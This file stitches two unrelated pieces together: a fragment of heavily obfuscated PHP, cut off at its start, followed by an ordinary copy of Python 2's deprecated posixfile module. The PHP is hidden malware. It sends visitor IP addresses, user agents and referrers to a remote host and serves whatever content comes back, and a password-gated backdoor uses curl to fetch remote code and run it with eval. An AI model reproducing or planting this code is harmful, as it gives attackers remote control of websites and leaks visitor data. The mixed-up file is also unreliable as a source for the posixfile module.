ing(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQwRNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?>
"""Extended file operations available in POSIX.
f = posixfile.open(filename, [mode, [bufsize]])
will create a new posixfile object
f = posixfile.fileopen(fileobject)
will create a posixfile object from a builtin file object
f.file()
will return the original builtin file object
f.dup()
will return a new file object based on a new filedescriptor
f.dup2(fd)
will return a new file object based on the given filedescriptor
f.flags(mode)
will turn on the associated flag (merge)
mode can contain the following characters:
(character representing a flag)
a append only flag
c close on exec flag
n no delay flag
s synchronization flag
(modifiers)
! turn flags 'off' instead of default 'on'
= copy flags 'as is' instead of default 'merge'
? return a string in which the characters represent the flags
that are set
note: - the '!' and '=' modifiers are mutually exclusive.
- the '?' modifier will return the status of the flags after they
have been changed by other characters in the mode string
f.lock(mode [, len [, start [, whence]]])
will (un)lock a region
mode can contain the following characters:
(character representing type of lock)
u unlock
r read lock
w write lock
(modifiers)
| wait until the lock can be granted
? return the first lock conflicting with the requested lock
or 'None' if there is no conflict. The lock returned is in the
format (mode, len, start, whence, pid) where mode is a
character representing the type of lock ('r' or 'w')
note: - the '?' modifier prevents a region from being locked; it is
query only
"""
import warnings
warnings.warn("The posixfile module is deprecated; "
"fcntl.lockf() provides better locking", DeprecationWarning, 2)
class _posixfile_:
"""File wrapper class that provides extra POSIX file routines."""
states = ['open', 'closed']
#
# Internal routines
#
def __repr__(self):
file = self._file_
return "<%s posixfile '%s', mode '%s' at %s>" % \
(self.states[file.closed], file.name, file.mode, \
hex(id(self))[2:])
#
# Initialization routines
#
def open(self, name, mode='r', bufsize=-1):
import __builtin__
return self.fileopen(__builtin__.open(name, mode, bufsize))
def fileopen(self, file):
import types
if repr(type(file)) != "<type 'file'>":
raise TypeError, 'posixfile.fileopen() arg must be file object'
self._file_ = file
# Copy basic file methods
for maybemethod in dir(file):
if not maybemethod.startswith('_'):
attr = getattr(file, maybemethod)
if isinstance(attr, types.BuiltinMethodType):
setattr(self, maybemethod, attr)
return self
#
# New methods
#
def file(self):
return self._file_
def dup(self):
import posix
if not hasattr(posix, 'fdopen'):
raise AttributeError, 'dup() method unavailable'
return posix.fdopen(posix.dup(self._file_.fileno()), self._file_.mode)
def dup2(self, fd):
import posix
if not hasattr(posix, 'fdopen'):
raise AttributeError, 'dup() method unavailable'
posix.dup2(self._file_.fileno(), fd)
return posix.fdopen(fd, self._file_.mode)
def flags(self, *which):
import fcntl, os
if which:
if len(which) > 1:
raise TypeError, 'Too many arguments'
which = which[0]
else: which = '?'
l_flags = 0
if 'n' in which: l_flags = l_flags | os.O_NDELAY
if 'a' in which: l_flags = l_flags | os.O_APPEND
if 's' in which: l_flags = l_flags | os.O_SYNC
file = self._file_
if '=' not in which:
cur_fl = fcntl.fcntl(file.fileno(), fcntl.F_GETFL, 0)
if '!' in which: l_flags = cur_fl & ~ l_flags
else: l_flags = cur_fl | l_flags
l_flags = fcntl.fcntl(file.fileno(), fcntl.F_SETFL, l_flags)
if 'c' in which:
arg = ('!' not in which) # 0 is don't, 1 is do close on exec
l_flags = fcntl.fcntl(file.fileno(), fcntl.F_SETFD, arg)
if '?' in which:
which = '' # Return current flags
l_flags = fcntl.fcntl(file.fileno(), fcntl.F_GETFL, 0)
if os.O_APPEND & l_flags: which = which + 'a'
if fcntl.fcntl(file.fileno(), fcntl.F_GETFD, 0) & 1:
which = which + 'c'
if os.O_NDELAY & l_flags: which = which + 'n'
if os.O_SYNC & l_flags: which = which + 's'
return which
def lock(self, how, *args):
import struct, fcntl
if 'w' in how: l_type = fcntl.F_WRLCK
elif 'r' in how: l_type = fcntl.F_RDLCK
elif 'u' in how: l_type = fcntl.F_UNLCK
else: raise TypeError, 'no type of lock specified'
if '|' in how: cmd = fcntl.F_SETLKW
elif '?' in how: cmd = fcntl.F_GETLK
else: cmd = fcntl.F_SETLK
l_whence = 0
l_start = 0
l_len = 0
if len(args) == 1:
l_len = args[0]
elif len(args) == 2:
l_len, l_start = args
elif len(args) == 3:
l_len, l_start, l_whence = args
elif len(args) > 3:
raise TypeError, 'too many arguments'
# Hack by davem@magnet.com to get locking to go on freebsd;
# additions for AIX by Vladimir.Marangozov@imag.fr
import sys, os
if sys.platform in ('netbsd1',
'openbsd2',
'freebsd2', 'freebsd3', 'freebsd4', 'freebsd5',
'freebsd6', 'freebsd7', 'freebsd8',
'bsdos2', 'bsdos3', 'bsdos4'):
flock = struct.pack('lxxxxlxxxxlhh', \
l_start, l_len, os.getpid(), l_type, l_whence)
elif sys.platform in ('aix3', 'aix4'):
flock = struct.pack('hhlllii', \
l_type, l_whence, l_start, l_len, 0, 0, 0)
else:
flock = struct.pack('hhllhh', \
l_type, l_whence, l_start, l_len, 0, 0)
flock = fcntl.fcntl(self._file_.fileno(), cmd, flock)
if '?' in how:
if sys.platform in ('netbsd1',
'openbsd2',
'freebsd2', 'freebsd3', 'freebsd4', 'freebsd5',
'bsdos2', 'bsdos3', 'bsdos4'):
l_start, l_len, l_pid, l_type, l_whence = \
struct.unpack('lxxxxlxxxxlhh', flock)
elif sys.platform in ('aix3', 'aix4'):
l_type, l_whence, l_start, l_len, l_sysid, l_pid, l_vfs = \
struct.unpack('hhlllii', flock)
elif sys.platform == "linux2":
l_type, l_whence, l_start, l_len, l_pid, l_sysid = \
struct.unpack('hhllhh', flock)
else:
l_type, l_whence, l_start, l_len, l_sysid, l_pid = \
struct.unpack('hhllhh', flock)
if l_type != fcntl.F_UNLCK:
if l_type == fcntl.F_RDLCK:
return 'r', l_len, l_start, l_whence, l_pid
else:
return 'w', l_len, l_start, l_whence, l_pid
def open(name, mode='r', bufsize=-1):
"""Public routine to open a file as a posixfile object."""
return _posixfile_().open(name, mode, bufsize)
def fileopen(file):
"""Public routine to get a posixfile object from a Python file object."""
return _posixfile_().fileopen(file)
#
# Constants
#
SEEK_SET = 0
SEEK_CUR = 1
SEEK_END = 2
#
# End of posixfile.py
#